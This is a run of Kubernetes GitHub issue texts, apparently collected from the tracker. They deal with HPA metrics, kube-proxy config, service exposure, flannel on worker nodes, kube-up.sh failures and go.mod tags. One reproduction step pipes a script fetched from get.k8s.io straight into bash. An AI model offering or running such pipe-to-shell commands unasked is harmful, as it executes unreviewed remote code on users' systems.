been modified; please apply your changes to the latest version and try again\r     i0517 12:48:32.374723       5 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ php-apache-3815965786\ , uid:\ 2238932c-3aff-11e7-91f9-0ad67bfb8763\ , apiversion:\ extensions\ , resourceversion:\ 2104062\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: php-apache-3815965786-h4d9l\r     i0517 12:48:32.394514       5 deployment_controller.go:298  error syncing deployment default/php-apache: operation cannot be fulfilled on deployments.extensions \ php-apache\ : the object has been modified; please apply your changes to the latest version and try again\r     i0517 12:48:32.642073       5 servicecontroller.go:305  not persisting unchanged loadbalancerstatus to registry.\r \r this is the yaml of the template:\r \r       kubectl get deployment php-apache -o yaml\r     apiversion: extensions/v1beta1\r     kind: deployment\r     metadata:\r       annotations:\r         deployment.kubernetes.io/revision: \ 1\ \r       creationtimestamp: 2017-05-17t12:48:32z\r       generation: 1\r       labels:\r         run: php-apache\r       name: php-apache\r       namespace: default\r       resourceversion: \ 2104081\ \r       selflink: /apis/extensions/v1beta1/namespaces/default/deployments/php-apache\r       uid: 22367ba1-3aff-11e7-adea-02eb61d566f9\r     spec:\r       replicas: 1\r       selector:\r         matchlabels:\r           run: php-apache\r       strategy:\r         rollingupdate:\r           maxsurge: 1\r           maxunavailable: 1\r         type: rollingupdate\r       template:\r         metadata:\r           creationtimestamp: null\r           labels:\r             run: php-apache\r         spec:\r           containers:\r           - image: gcr.io/google_containers/hpa-example\r             imagepullpolicy: always\r             name: php-apache\r             ports:\r             - containerport: 80\r               protocol: tcp\r             resources:\r               requests:\r                 cpu: 200m\r             terminationmessagepath: /dev/termination-log\r           dnspolicy: clusterfirst\r           restartpolicy: always\r           securitycontext: {}\r           terminationgraceperiodseconds: 30\r     status:\r       availablereplicas: 1\r       conditions:\r       - lasttransitiontime: 2017-05-17t12:48:32z\r         lastupdatetime: 2017-05-17t12:48:32z\r         message: deployment has minimum availability.\r         reason: minimumreplicasavailable\r         status: \ true\ \r         type: available\r       observedgeneration: 1\r       replicas: 1\r       updatedreplicas: 1\r \r i was able to create the hpa without problems\r \r       kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10\r     deployment \ php-apache\  autoscaled\r \r       kubectl get hpa php-apache -o yaml\r     apiversion: autoscaling/v1\r     kind: horizontalpodautoscaler\r     metadata:\r       creationtimestamp: 2017-05-17t13:05:34z\r       name: php-apache\r       namespace: default\r       resourceversion: \ 2105863\ \r       selflink: /apis/autoscaling/v1/namespaces/default/horizontalpodautoscalers/php-apache\r       uid: 834882f8-3b01-11e7-adea-02eb61d566f9\r     spec:\r       maxreplicas: 10\r       minreplicas: 1\r       scaletargetref:\r         apiversion: extensions/v1beta1\r         kind: deployment\r         name: php-apache\r       targetcpuutilizationpercentage: 50\r     status:\r       currentreplicas: 0\r       desiredreplicas: 0\r \r the last command gave no trace in the log\r \r       kubectl get hpa\r     name                   reference                         targets           minpods   maxpods   replicas   age\r     php-apache             deployment/php-apache             <unknown> / 50%   1         10        0          1h\r \r the pod is alive:\r \r       kubectl describe pod php-apache-3815965786-w7cnr\r     name:\t\tphp-apache-3815965786-w7cnr\r     namespace:\tdefault\r     node:\t\t                       \r     start time:\twed, 17 may 2017 13:17:57 +0200\r     labels:\t\tpod-template-hash=3815965786\r         run=php-apache\r     annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ php-apache-3815965786\ ,\ uid\ :\ 7adbadd9-3af2-11e7-91f9-0ad67bfb87...\r         kubernetes.io/limit-ranger=limitranger plugin set: memory request for container php-apache; cpu, memory limit for container php-apache\r     status:\t\trunning\r     ip:\t\t              \r     controllers:\treplicaset/php-apache-3815965786\r     containers:\r       php-apache:\r         container id:\tdocker://f1bf3e8bba200a255432d48876779c26b95f9dc5ba75a70b046163cf635cd91f\r         image:\t\tgcr.io/google_containers/hpa-example\r         image id:\t\tdocker-pullable://gcr.io/google_containers/hpa-example@sha256:581697a37f0e136db86d6b30392f0db40ce99c8248a7044c770012f4e8491544\r         port:\t\t80/tcp\r         state:\t\trunning\r           started:\t\twed, 17 may 2017 13:18:34 +0200\r         ready:\t\ttrue\r         restart count:\t0\r         limits:\r           cpu:\t1\r           memory:\t1024m\r         requests:\r           cpu:\t\t200m\r           memory:\t\t256m\r         environment:\t<none>\r         mounts:\r           /var/run/secrets/kubernetes.io/serviceaccount from default-token-r3p1w  ro \r     conditions:\r       type\t\tstatus\r       initialized \ttrue\r       ready \ttrue\r       podscheduled \ttrue\r     volumes:\r       default-token-r3p1w:\r         type:\tsecret  a volume populated by a secret \r         secretname:\tdefault-token-r3p1w\r         optional:\tfalse\r     qos class:\tburstable\r     node-selectors:\t<none>\r     tolerations:\t<none>\r     events:\t\t<none>\r \r but the hpa is unable to get the information of the cpu:\r \r       kubectl describe hpa php-apache\r     name:\t\t\t\t\t\t\tphp-apache\r     namespace:\t\t\t\t\t\tdefault\r     labels:\t\t\t\t\t\t\t<none>\r     annotations:\t\t\t\t\t\t<none>\r     creationtimestamp:\t\t\t\t\twed, 17 may 2017 13:18:06 +0200\r     reference:\t\t\t\t\t\tdeployment/php-apache\r     metrics:\t\t\t\t\t\t  current / target  \r       resource cpu on pods   as a percentage of request :\t<unknown> / 50%\r     min replicas:\t\t\t\t\t\t1\r     max replicas:\t\t\t\t\t\t10\r     events:\t\t\t\t\t\t\t<none>\r \r nevertheless, you can get cpu stats from heapster service cluster ip, you can see the stats in the dashboard and they are being collected by influxdb and grafana:\r \r       kubectl exec busyboxplus -- curl http://100.96.7.2:8082/api/v1/model/namespaces/default/pods/php-apache-3815965786-w7cnr/metrics/cpu-usage\r     % total    % received % xferd  average speed   time    time     time  current\r                                    dload  upload   total   spent    left  speed\r     100   737  100   737    0     0   275k      0 --:--:-- --:--:-- --:--:--  359k\r     {\r       \ metrics\ :  \r        {\r         \ timestamp\ : \ 2017-05-17t12:39:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:40:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:41:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:42:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:43:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:44:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:45:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:46:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:47:00z\ ,\r         \ value\ : 0\r        },\r        {\r         \ timestamp\ : \ 2017-05-17t12:48:00z\ ,\r         \ value\ : 0\r        }\r        ,\r       \ latesttimestamp\ : \ 2017-05-17t12:48:00z\ \r \r the difference between the rest of questions regarding this topic is that i get events <none>.\r \r the logs of the heapster  started with  --v=4  as indicated  here  https://github.com/openshift/origin/issues/6293   show no errors.\r \r the answer given  here  http://stackoverflow.com/questions/38127763/kubernetes-hpa-not-working-failed-to-unmarshall-heapster-response  pointing to  the openshift bug  https://github.com/openshift/origin/issues/6293  doesn't work as i'm able to execute the same curl to heapster in every node or master.\r \r i've also tried with other deployments setting the resources in the deployment, checking that they are set up in the pods.\r \r any idea?\r \r

 \r kube-proxy in kubernetes 1.7 outputs the following warning:\r    \r warning: all flags other than --config, --write-config-to, and --cleanup-iptables are deprecated. please begin using a config file asap.\r    \r \r but there is zero documentation about this config file to be found. digging into the code i found kubeproxyconfiguration:\r https://github.com/kubernetes/kubernetes/pull/34727/files diff-ed3df710e9af7cd30a185896a60897d9r694\r and subsequently:\r https://stackoverflow.com/questions/45438254/need-a-example-about-kube-proxy-config-file\r \r i think this is related to the fact that on https://kubernetes.io/docs/home/ there's no documentation about componentconfigs.\r

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r i have a kubernetes cluster   1.8.5+debian stretch + docker 1.13  overlay2   \r i have problems exposing a service as part of a deployment of a private docker registry.\r if i create the container using docker, the service work like a charm:\r    \r docker run --rm -p 5000:5000 myrepo/privateregistry \r \r logs from the container: curl 192.168.133.17:5000/v2\r \r time=\ 2018-01-18t10:59:43z\  level=info msg=\ response completed\  go.version=go1.7.6 http.request.host=\ 192.168.133.17:5000\  http.request.id=e2efdf78-1c5c-46ee-8a59-0bfacd841e2e http.request.method=get http.request.remoteaddr=\ 192.168.133.18:39472\  http.request.uri=\ /v2\  http.request.useragent=\ curl/7.52.1\  http.response.duration=\ 117.851µs\  http.response.status=301 http.response.written=39 instance.id=5efe3b3b-4aae-4a00-9861-ca6507e40231 version=v2.6.2\r 192.168.133.18 - -  18/jan/2018:10:59:43 +0000  \ get /v2 http/1.1\  301 39 \ \  \ curl/7.52.1\ \r    \r when i try to create the deployment exposing the service as external ip in the same ip   192.168.133.17  the service only work if i make the request from the same machine  192.168.133.17  that the service are exposed and not if i make a request from other machine p.e: 192.168.133.18\r \r    \r name            type        cluster-ip     external-ip      port s          age\r kube-dns        clusterip   10.96.0.10     <none>           53/udp,53/tcp   17h\r kube-registry   clusterip   10.111.50.53   192.168.133.17   5000/tcp        11s\r    \r i have another cluster with   debian jessie+docker 1.13  aufs  +kubernetes 1.8.5   where the same deployment work like a charm as a kubernetes deployment. is the same definition of the deployment and services.\r \r the service work in \ production\  cluster   debian jessie  kernel 3.16 +docker 1.13 aufs +kubernetes 1.8.5  , but  does not work in a test cluster   debian stretch  kernel 4.9 +docker 1.13 overlay2 +kubernetes 1.8.5  , but if i launch only the container with docker command the service work like a charm here.\r \r in both cluster are the same configuration: weave as network plugin, kubernetes 1.8.5, the unique difference is that one cluster has   debian jessie  kernel 3.16  + docker 1.13 aufs  , and the other has   debian stretch  kernel 4.9  + docker 1.13 overlay2  \r \r the deployment is as follow:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: kube-registry\r   namespace: kube-system\r   annotations:\r     prometheus.io/probe: \ true\ \r   labels:\r     k8s-app: kube-registry-upstream\r     kubernetes.io/cluster-service: \ true\ \r     kubernetes.io/name: \ kuberegistry\ \r spec:\r   selector:\r     k8s-app: kube-registry-upstream\r   ports:\r   - name: registry\r     port: 5000\r     protocol: tcp\r   externalips:\r     - 192.168.133.17\r \r ---\r \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: kube-registry-v0\r   namespace: kube-system\r   labels:\r     k8s-app: kube-registry-upstream\r     version: v0\r     kubernetes.io/cluster-service: \ true\ \r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         k8s-app: kube-registry-upstream\r         version: v0\r         kubernetes.io/cluster-service: \ true\ \r     spec:\r       containers:\r       - name: registry\r         image: inecocity/registry\r         resources:\r           limits:\r             cpu: 100m\r             memory: 100mi\r         env:\r         - name: registry_http_addr\r           value: :5000\r         - name: registry_storage_filesystem_rootdirectory\r           value: /var/lib/registry\r         ports:\r         - containerport: 5000\r           name: registry\r           protocol: tcp\r         securitycontext:\r           privileged: true\r \r    \r \r \r could anyone help me to resolve this big headache??\r   what you expected to happen  :\r \r service work as expected like in a \ production cluster\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply the deployment to an environment like \ test cluster\ : debian stretch  kernel 4.9 +docker 1.13 overlay2 +kubernetes 1.8.5\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r i spent a _long_ time doing problem determination for  60042 .   it would have been _much_ easier if i could have looked at the packets on the wire.  as it is, they were all encrypted by tls, so i got no useful information out of them  they came too frequently for timing to be enough .\r \r   what you expected to happen  :\r i expected there to be a way, document and supported  at least for debugging purposes , to aggregate an api-server with cleartext communication between the main api-server and the aggregated one.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r \r   what happened  :\r i am accessing kubectl pods many times in my organization in daily basis, everytime i connect with the pod , it is getting timedout in a minute, i understand this is a happroxy timeout config from -  59411 , but i have no control in that. is there any other way to increase the timeout in pod?\r \r   what you expected to happen  :\r right now inorder to increase the timeout, i am using the below command\r while :; do sleep 59; echo -n ' ' >&2; done &\r is there any other way to extend the session ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r set the haproxy timeout to 1 min \r login into any of the pod with the below command\r kubectl exec <pod> -it bash\r \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4+coreos.0\ , gitcommit:\ 5e73e0769e5c4ac497235e2817868b1a37032fba\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t20:05:58z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r following the document,  running kubernetes on google compute engine  https://kubernetes.io/docs/setup/turnkey/gce/ ,  cluster/kube-up.sh  failed.\r \r    \r $ cluster/kube-up.sh\r ... starting cluster in us-central1-b using provider gce\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling verify-release-tars\r ... calling kube-up\r .\r .\r .\r using master: kubernetes-master  external ip: 35.224.164.246 \r waiting up to 300 seconds for cluster initialization.\r \r   this will continually check to see if the api for kubernetes is reachable.\r   this may time out if there was some uncaught error during start up.\r \r ........................................................................................................................................cluster failed to initialize within 300 seconds.\r last output from querying api server follows:\r -----------------------------------------------------\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl:  7  failed to connect to 35.224.164.246 port 443: connection refused\r -----------------------------------------------------\r    \r \r error logs below were written on kubernetes-master instance.\r \r    \r $ grep ^error /var/log/kube-apiserver.log \r error: error while parsing encryption provider configuration file \ /etc/srv/kubernetes/encryption-provider-config.yml\ : key key1 has no provided secret\r    \r secret value is null.\r    yaml\r $ cat /etc/srv/kubernetes/encryption-provider-config.yml\r kind: encryptionconfiguration\r apiversion: apiserver.config.k8s.io/v1\r resources:\r   - resources:\r     - secrets\r     providers:\r     - aesgcm:\r         keys:\r         - name: key1\r           secret: \r    \r \r   what you expected to happen  :\r \r referring to  cluster/gce/config-default.sh l221-l232  https://github.com/kubernetes/kubernetes/blob/396271cf52af70bc96ed378dd9ce1a865cc99647/cluster/gce/config-default.sh l221-l232 ,  encryption-provider-config.yml  should be like this.\r \r    yaml\r kind: encryptionconfiguration\r apiversion: apiserver.config.k8s.io/v1\r resources:\r   - resources:\r     - secrets\r     providers:\r     - aesgcm:\r         keys:\r         - name: key1\r           secret: +c6jl+0cbpouhp2ply9smxbrm+jh18fexmdemh+gj+8=\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r $ curl -ss https://get.k8s.io | bash\r $ cd kubernetes\r $ cluster/kube-up.sh\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.0\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r build_id=10323.64.0\r name=\ container-optimized os\ \r kernel_commit_id=94bdaa2af49562e7aba0168cae050911d105f5cb\r google_crash_id=lakitu\r version_id=65\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=65\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux kubernetes-master 4.4.111+  1 smp wed mar 28 13:44:38 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:  cluster/kube-up.sh \r - others:\r \r <!-- do not edit below this line -->\r 

i have few kvm nodes in different subnets. every node has two iface  eth0 - nat iface  and  eth1 - ip from 10.201. 11|12|14 .0/24 . on every node presents manual routes to link between subnets. routes between nodes was checking. there is single master cluster temporary.\r   environment  :\r all nodes has identity configuration.\r    \r ubuntu 18.04.1 lts\r linux k8s-hv06-dc14 4.15.0-43-generic\r \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r docker version 18.06.1-ce, build e68fc7a\r kubernetes-cni   0.6.0-00\r install tools: kubeadm\r    \r   what happened  :\r master node was setting up from config\r    \r apiversion: kubeadm.k8s.io/v1alpha3\r kind: clusterconfiguration\r controlplaneendpoint: 10.201.14.176\r networking:\r   podsubnet: 10.244.0.0/16\r apiservercertsans:\r - k8s-hv06-dc14.example.com\r - k8s-nw-dc12.example.com\r - k8s-hv01-dc11.example.com\r - 10.201.14.176\r - 10.201.12.180\r - 10.201.11.171\r - 127.0.0.1\r etcd:\r   external:\r     endpoints:\r       - http://10.201.14.176:2379\r       - http://10.201.12.180:2379\r       - http://10.201.11.171:2379\r apiserverextraargs:\r   apiserver-count: \ 3\ \r    \r i have applied  kube-flannel.yml  with my correction --iface=eth1 . and my single node cluster work fine.\r if i want to add one more master node i have not a problem. i see two master nodes in the cluster and both of these nodes works. but if i add worker node to cluster, interfaces cni0,flannel.1 for flannel or tunl0 for calico  don't create on worker node. this is very strange. if i delete additional master node from cluster and join it again as worker node i get the same issue as any other worker node.\r    \r root@k8s-hv06-dc14:/etc/cni  kubectl get nodes\r name                status   roles    age     version\r k8s-hv05-dc14   ready    <none>   27m     v1.13.2\r k8s-hv06-dc14   ready    master   3h25m   v1.13.2\r \r root@k8s-hv06-hv14:~  kubectl get pods --all-namespaces\r namespace     name                                   ready   status    restarts   age\r kube-system   coredns-86c58d9df4-l6bnv                 1/1     running   0          5m12s\r kube-system   coredns-86c58d9df4-rcvcp                 1/1     running   0          4m5s\r kube-system   kube-apiserver-k8s-hv06-hv14             1/1     running   5          164m\r kube-system   kube-controller-manager-k8s-hv06-hv14    1/1     running   5          164m\r kube-system   kube-flannel-ds-amd64-f8kbh              0/1     crashloopbackoff   1          2m38s\r kube-system   kube-flannel-ds-amd64-kzsnr              1/1     running   3          11m\r kube-system   kube-proxy-x458b                         1/1     running   5          165m\r kube-system   kube-scheduler-k8s-hv06-msk-dtln         1/1     running   1          164m\r \r root@k8s-hv05-dc14:~  docker ps -a --format \ table {{.image}}\\t{{.command}}\\t{{.status}}\\t{{.names}}\ \r image                   command                  status                      names\r f0fad859c909            \ /opt/bin/flanneld -…\    exited  1  4 minutes ago    k8s_kube-flannel_kube-flannel-ds-amd64-f8kbh_kube-system_ac610ecd-2496-11e9-82e8-1a05eef25a13_12\r f0fad859c909            \ cp -f /etc/kube-fla…\    exited  0  11 minutes ago   k8s_install-cni_kube-flannel-ds-amd64-f8kbh_kube-system_ac610ecd-2496-11e9-82e8-1a05eef25a13_1\r 01cfa56edcfc            \ /usr/local/bin/kube…\    up 11 minutes               k8s_kube-proxy_kube-proxy-w9rqw_kube-system_ac611449-2496-11e9-82e8-1a05eef25a13_1\r k8s.gcr.io/pause:3.1    \ /pause\                  up 11 minutes               k8s_pod_kube-flannel-ds-amd64-f8kbh_kube-system_ac610ecd-2496-11e9-82e8-1a05eef25a13_1\r k8s.gcr.io/pause:3.1    \ /pause\                  up 11 minutes               k8s_pod_kube-proxy-w9rqw_kube-system_ac611449-2496-11e9-82e8-1a05eef25a13_1\r k8s.gcr.io/kube-proxy   \ /usr/local/bin/kube…\    exited  2  11 minutes ago   k8s_kube-proxy_kube-proxy-w9rqw_kube-system_ac611449-2496-11e9-82e8-1a05eef25a13_0\r k8s.gcr.io/pause:3.1    \ /pause\                  exited  0  11 minutes ago   k8s_pod_kube-proxy-w9rqw_kube-system_ac611449-2496-11e9-82e8-1a05eef25a13_0\r \r root@k8s-hv05-dc14:~  ip a| grep -e ' eth|flannel|cni|cali|tun '\r 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc fq_codel state up group default qlen 1000\r     link/ether 5e:64:aa:10:37:ad brd ff:ff:ff:ff:ff:ff\r     inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0\r 3: eth1: <broadcast,multicast,up,lower_up> mtu 1500 qdisc fq_codel state up group default qlen 1000\r     link/ether 9a:bf:74:44:f2:4c brd ff:ff:ff:ff:ff:ff\r     inet 10.201.104.175/24 brd 10.201.104.255 scope global eth1\r 4: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down group default \r     link/ether 02:42:1e:4d:17:a3 brd ff:ff:ff:ff:ff:ff\r     inet 172.172.172.2/23 brd 172.172.173.255 scope global docker0\r    \r process  /opt/bin/flanneld --iface=eth1 --ip-masq --kube-subnet-mgr  works few sec after joining worker node to cluster and terminate. container logs\r    \r {\ log\ :\ i0130 14:06:06.199302       1 main.go:488  using interface with name eth1 and address 10.201.14.175\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2019-01-30t14:06:06.200255784z\ }\r {\ log\ :\ i0130 14:06:06.199564       1 main.go:505  defaulting external address to interface address  10.201.14.175 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2019-01-30t14:06:06.20039055z\ }\r {\ log\ :\ e0130 14:06:06.395809       1 main.go:232  failed to create subnetmanager: error retrieving pod spec for 'kube-system/kube-flannel-ds-amd64-f8kbh': get https://10.96.0.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd6\r 4-f8kbh: dial tcp 10.96.0.1:443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2019-01-30t14:06:06.500211996z\ }\r    \r \r   anything else we need to know?  :\r    \r root@k8s-hv05-dc14:~  cat /etc/docker/daemon.json\r {\r   \ bip\ : \ 172.172.172.2/23\ ,\r   \ fixed-cidr\ : \ 172.172.172.0/23\ ,\r   \ iptables\ : false,\r   \ exec-opts\ :  \ native.cgroupdriver=systemd\  ,\r   \ log-driver\ : \ json-file\ ,\r   \ log-opts\ : {\r     \ max-size\ : \ 100m\ \r   },\r   \ storage-driver\ : \ overlay2\ \r }\r    \r i get too many errors from kubelet but i dont know are these problems related?\r    \r jan 30 17:26:54 kubelet 653 : w0130 17:26:54.489834     653 container.go:409  failed to create summary reader for \ /libcontainer_4546_systemd_test_default.slice\ : none of the resources are being tracked.\r jan 30 17:26:54 kubelet 653 : w0130 17:26:54.745524     653 container.go:523  failed to update stats for container \ /libcontainer_4576_systemd_test_default.slice\ : failed to parse memory.limit_in_bytes - open /sys/fs/cgroup/memory/libcontainer_4576_systemd_test_default.slice/memory.limit_in_bytes: no such file or directory, continuing to push stats\r jan 30 17:26:56 kubelet 653 : w0130 17:26:56.855649     653 container.go:523  failed to update stats for container \ /libcontainer_4645_systemd_test_default.slice\ : open /sys/fs/cgroup/cpu,cpuacct/libcontainer_4645_systemd_test_default.slice/cpuacct.usage: no such file or directory, continuing to push stats\r jan 30 17:26:57 kubelet 653 : w0130 17:26:57.986035     653 container.go:422  failed to get recentstats \ /libcontainer_4700_systemd_test_default.slice\   while determining the next housekeeping: unable to find data in memory cache\r jan 30 17:27:03 kubelet 653 : w0130 17:27:03.786839     653 container.go:523  failed to update stats for container \ /libcontainer_4783_systemd_test_default.slice\ : open /sys/fs/cgroup/memory/libcontainer_4783_systemd_test_default.slice/memory.use_hierarchy: no such file or directory, continuing to push stats\r jan 30 17:27:04 kubelet 653 : w0130 17:27:04.193191     653 container.go:422  failed to get recentstats \ /libcontainer_4810_systemd_test_default.slice\   while determining the next housekeeping: unable to find data in memory cache\r jan 30 17:27:04 kubelet 653 : w0130 17:27:04.312308     653 container.go:422  failed to get recentstats \ /libcontainer_4818_systemd_test_default.slice\   while determining the next housekeeping: unable to find data in memory cache\r jan 30 17:33:21 kubelet 653 : w0130 17:33:21.175836     653 container.go:523  failed to update stats for container \ /libcontainer_5971_systemd_test_default.slice\ : failed to parse memory.failcnt - read /sys/fs/cgroup/memory/libcontainer_5971_systemd_test_default.slice/memory.failcnt: no such device, continuing to push stats\r \r

hi, i'm coming from https://github.com/golang/go/issues/31487 issuecomment-484005323\r \r because this issue applies to probably all repos of kubernetes  seen here, in apimachinery, ... , i allow me to post here. for some reason, your  go.mod  file - currently in  master  - references  golang.org/x/text  with the tag  v0.3.1 , but there is no such tag there  see issue above for details \r \r   what happened  :\r in my project\r    \r $ gotip mod tidy\r go: finding golang.org/x/text/transform latest\r go: finding golang.org/x/text/unicode/norm latest\r go: finding golang.org/x/text/unicode latest\r go: github.com/dionysius/go-issue-31487 imports\r         github.com/spf13/viper imports\r         github.com/spf13/afero imports\r         golang.org/x/text/transform: package provided by golang.org/x/text at latest version v0.3.0 but not at required version v0.3.1-0.20181227161524-e6919f6577db\r    \r  see issue above about what gotip is \r \r   what you expected to happen  :\r no error\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the example project in the issue stated above\r \r   anything else we need to know?  :\r i found the issue commit was: https://github.com/kubernetes/kubernetes/commit/55d52fd5c35351c221f055ab08f3855ab5782b0d diff-37aff102a57d3d7b797f152915a6dc16l442\r \r otherwise i think not, just request/ask. i'm kinda curious where the tag v0.3.1 is coming from\r \r update: i'm still curious where the tag v0.3.1 is coming from, but  i can let that work out by  go get -m golang.org/x/text@master  myself  https://github.com/golang/go/issues/31487 issuecomment-484020406 . so maybe this issue is not a bug, but i now am more confused...

this is a follow-on to https://github.com/googlecloudplatform/kubernetes/pull/10709 discussion_r33963117. we don't have an easy way outside of gke validation of a build to do \ grab a tarball and validate it using e2es, etc.\  it's not hard, necessarily. it's slightly different than  10676, which is about validating the source on the release branch.

kubectl rolling-update  is useful for incrementally deploying a new replication controller. but if you have an existing replication controller and want to do a rolling restart of all the pods that it manages, you are forced to do a no-op update to an rc with a new name and the same spec. it would be useful to be able to do a rolling restart without needing to change the rc or to give the rc spec, so anyone with access to kubectl could easily initiate a restart without worrying about having the spec locally, making sure it's the same/up to date, etc. this could work in a few different ways: 1. a new command,  kubectl rolling-restart  that takes an rc name and incrementally deletes all the pods controlled by the rc and allows the rc to recreate them. 2. same as 1, but instead of deleting each pod, the command iterates through the pods and issues some kind of \ restart\  command to each pod incrementally  does this exist? is this a pattern we prefer? . the advantage of this one is that the pods wouldn't get unnecessarily rebalanced to other machines. 3.  kubectl rolling-update  with a flag that lets you specify an old rc only, and it follows the logic of either 1 or 2. 4.  kubectl rolling-update  with a flag that lets you specify an old rc only, and it auto-generates a new rc based on the old one and proceeds with normal rolling update logic.  all of the above options would need the maxsurge and maxunavailable options recently introduced  see  11942  along with readiness checks along the way to make sure that the restarting is done without taking down all the pods.  @nikhiljindal @kubernetes/kubectl

i always use  kubectl create -f pod.yaml  to create a pod, but if something wrong happened ,   i can just get the state of pod is  pending   , though there are   many kinds of internal error   objectively exists. for example: - the url of images is invalid      kubernetes just return the state  pending  to users. unless you run  kubectl get pods -ojson , you can get the real error:      \ api error  500 : repository name component must match \\\  a-z0-9 + ?: ._-  a-z0-9 +  \\\ \ \      - failed to schedule      when resource of all nodes is limit, if you run  kubectl create -f pod.yaml , the state of pod will also be  pending . until you run  kubectl describe pod      , you can get the real error       {scheduler } failedscheduling failed for reason podfitsresources and possibly others      btw, there are five states of pods in kubernetes:      golang type podphase string const       podpending podphase = \ pending\      podrunning podphase = \ running\      podsucceeded podphase = \ succeeded\      podfailed podphase = \ failed\      podunknown podphase = \ unknown\         it can not represent the phase of pods clearly enough. so, should we add some   another phases   or   some different status code or error code    to   signify more states of pods for users?

do we need to quota for deployments and daemon sets? in general, would it make sense to expand the quota machinery to take into account other  kind s of objects in the api?  cc @derekwaynecarr

cmd/kube-proxy/app/server.go  has few conditional checks based on underlying os like  runtime.goos == \ windows\  , refactor  server.go  to do it more abstractly by moving them to  _linux/_windows  files.\r \r all the conditional checks are in  newproxyserverdefault    and  run    methods and one solution could be to move them to  _linux/_windows  files

